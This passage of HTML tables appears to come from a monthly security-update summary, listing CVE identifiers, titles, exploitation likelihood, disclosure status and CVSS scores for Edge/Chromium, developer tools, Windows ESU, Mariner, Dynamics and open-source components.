href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8014">CVE-2026-8014</a></td><td><p>Chromium: CVE-2026-8014 Inappropriate implementation in Preload</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8015">CVE-2026-8015</a></td><td><p>Chromium: CVE-2026-8015 Inappropriate implementation in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8016">CVE-2026-8016</a></td><td><p>Chromium: CVE-2026-8016 Use after free in WebRTC</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8017">CVE-2026-8017</a></td><td><p>Chromium: CVE-2026-8017 Side-channel information leakage in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8018">CVE-2026-8018</a></td><td><p>Chromium: CVE-2026-8018 Insufficient policy enforcement in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8019">CVE-2026-8019</a></td><td><p>Chromium: CVE-2026-8019 Insufficient policy enforcement in WebApp</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8021">CVE-2026-8021</a></td><td><p>Chromium: CVE-2026-8021 Script injection in UI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8022">CVE-2026-8022</a></td><td><p>Chromium: CVE-2026-8022 Inappropriate implementation in MHTML</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33111">CVE-2026-33111</a></td><td><p>Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7896">CVE-2026-7896</a></td><td><p>Chromium: CVE-2026-7896 Integer overflow in Blink</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7897">CVE-2026-7897</a></td><td><p>Chromium: CVE-2026-7897 Use after free in Mobile</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7905">CVE-2026-7905</a></td><td><p>Chromium: CVE-2026-7905 Insufficient validation of untrusted input in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7912">CVE-2026-7912</a></td><td><p>Chromium: CVE-2026-7912 Integer overflow in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7913">CVE-2026-7913</a></td><td><p>Chromium: CVE-2026-7913 Insufficient policy enforcement in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7915">CVE-2026-7915</a></td><td><p>Chromium: CVE-2026-7915 Insufficient data validation in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7931">CVE-2026-7931</a></td><td><p>Chromium: CVE-2026-7931 Insufficient validation of untrusted input in iOS</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7941">CVE-2026-7941</a></td><td><p>Chromium: CVE-2026-7941 Insufficient validation of untrusted input in Mobile</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7993">CVE-2026-7993</a></td><td><p>Chromium: CVE-2026-7993 Insufficient validation of untrusted input in Payments</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8020">CVE-2026-8020</a></td><td><p>Chromium: CVE-2026-8020 Uninitialized Use in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42838">CVE-2026-42838</a></td><td><p>Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42891">CVE-2026-42891</a></td><td><p>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35429">CVE-2026-35429</a></td><td><p>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40416">CVE-2026-40416</a></td><td><p>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41107">CVE-2026-41107</a></td><td><p>Microsoft Edge (Chromium-based) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr></tbody></table><p></p><p></p><h3>Developer Tools vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42826">CVE-2026-42826</a></td><td><p>Azure DevOps Information Disclosure Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>10.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32175">CVE-2026-32175</a></td><td><p>.NET Core Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32177">CVE-2026-32177</a></td><td><p>.NET Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35433">CVE-2026-35433</a></td><td><p>.NET Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42899">CVE-2026-42899</a></td><td><p>ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41109">CVE-2026-41109</a></td><td><p>GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41094">CVE-2026-41094</a></td><td><p>Microsoft Data Formulator Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41613">CVE-2026-41613</a></td><td><p>Visual Studio Code Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41612">CVE-2026-41612</a></td><td><p>Visual Studio Code Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41611">CVE-2026-41611</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41610">CVE-2026-41610</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>ESU vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-54518">CVE-2025-54518</a></td><td><p>AMD: CVE-2025-54518 CPU OP Cache Corruption</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41095">CVE-2026-41095</a></td><td><p>Data Deduplication Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35424">CVE-2026-35424</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40377">CVE-2026-40377</a></td><td><p>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34329">CVE-2026-34329</a></td><td><p>Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41097">CVE-2026-41097</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33839">CVE-2026-33839</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34330">CVE-2026-34330</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34331">CVE-2026-34331</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35423">CVE-2026-35423</a></td><td><p>Windows 11 Telnet Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34344">CVE-2026-34344</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34345">CVE-2026-34345</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35416">CVE-2026-35416</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41088">CVE-2026-41088</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34343">CVE-2026-34343</a></td><td><p>Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35418">CVE-2026-35418</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33835">CVE-2026-33835</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34337">CVE-2026-34337</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40407">CVE-2026-40407</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40397">CVE-2026-40397</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34336">CVE-2026-34336</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33834">CVE-2026-33834</a></td><td><p>Windows Event Logging Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32209">CVE-2026-32209</a></td><td><p>Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35421">CVE-2026-35421</a></td><td><p>Windows GDI Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40403">CVE-2026-40403</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33841">CVE-2026-33841</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35420">CVE-2026-35420</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34339">CVE-2026-34339</a></td><td><p>Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34341">CVE-2026-34341</a></td><td><p>Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33838">CVE-2026-33838</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32161">CVE-2026-32161</a></td><td><p>Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41089">CVE-2026-41089</a></td><td><p>Windows Netlogon Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34342">CVE-2026-34342</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34340">CVE-2026-34340</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40398">CVE-2026-40398</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-21530">CVE-2026-21530</a></td><td><p>Windows Rich Text Edit Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32170">CVE-2026-32170</a></td><td><p>Windows Rich Text Edit Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40410">CVE-2026-40410</a></td><td><p>Windows SMB Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35415">CVE-2026-35415</a></td><td><p>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40414">CVE-2026-40414</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40401">CVE-2026-40401</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40413">CVE-2026-40413</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35422">CVE-2026-35422</a></td><td><p>Windows TCP/IP Driver Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34351">CVE-2026-34351</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40399">CVE-2026-40399</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34334">CVE-2026-34334</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40406">CVE-2026-40406</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33837">CVE-2026-33837</a></td><td><p>Windows TCP/IP Local Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40415">CVE-2026-40415</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42825">CVE-2026-42825</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34338">CVE-2026-34338</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40382">CVE-2026-40382</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40380">CVE-2026-40380</a></td><td><p>Windows Volume Manager Extension Driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40408">CVE-2026-40408</a></td><td><p>Windows WAN ARP Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34333">CVE-2026-34333</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34347">CVE-2026-34347</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35417">CVE-2026-35417</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Mariner vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7598">CVE-2026-7598</a></td><td><p>libssh2 userauth.c userauth_password integer overflow</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43870">CVE-2026-43870</a></td><td><p>Apache Thrift: Node.js web_server.js multi-vulnerability</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43868">CVE-2026-43868</a></td><td><p>Apache Thrift: Rust implementation vulnerable to CVE-2020-13949 pattern</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43869">CVE-2026-43869</a></td><td><p>Apache Thrift: TSSLTransportFactory.java hostname verification</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr></tbody></table><h3>Microsoft Dynamics vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33821">CVE-2026-33821</a></td><td><p>Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40417">CVE-2026-40417</a></td><td><p>Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42898">CVE-2026-42898</a></td><td><p>Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42833">CVE-2026-42833</a></td><td><p>Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40374">CVE-2026-40374</a></td><td><p>Microsoft Power Automate Desktop Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr></tbody></table><p></p><p></p><p></p><h3>Open Source Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31706">CVE-2026-31706</a></td><td><p>ksmbd: validate num_aces and harden ACE walk in smb_inherit_dacl()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31723">CVE-2026-31723</a></td><td><p>usb: gadget: f_subset: Fix net_device lifecycle with device_move</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31724">CVE-2026-31724</a></td><td><p>usb: gadget: f_eem: Fix net_device lifecycle with device_move</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43053">CVE-2026-43053</a></td><td><p>xfs: close crash window in attr dabtree inactivation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43048">CVE-2026-43048</a></td><td><p>HID: core: Mitigate potential OOB by removing bogus memset()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31777">CVE-2026-31777</a></td><td><p>ALSA: ctxfi: Check the error for index 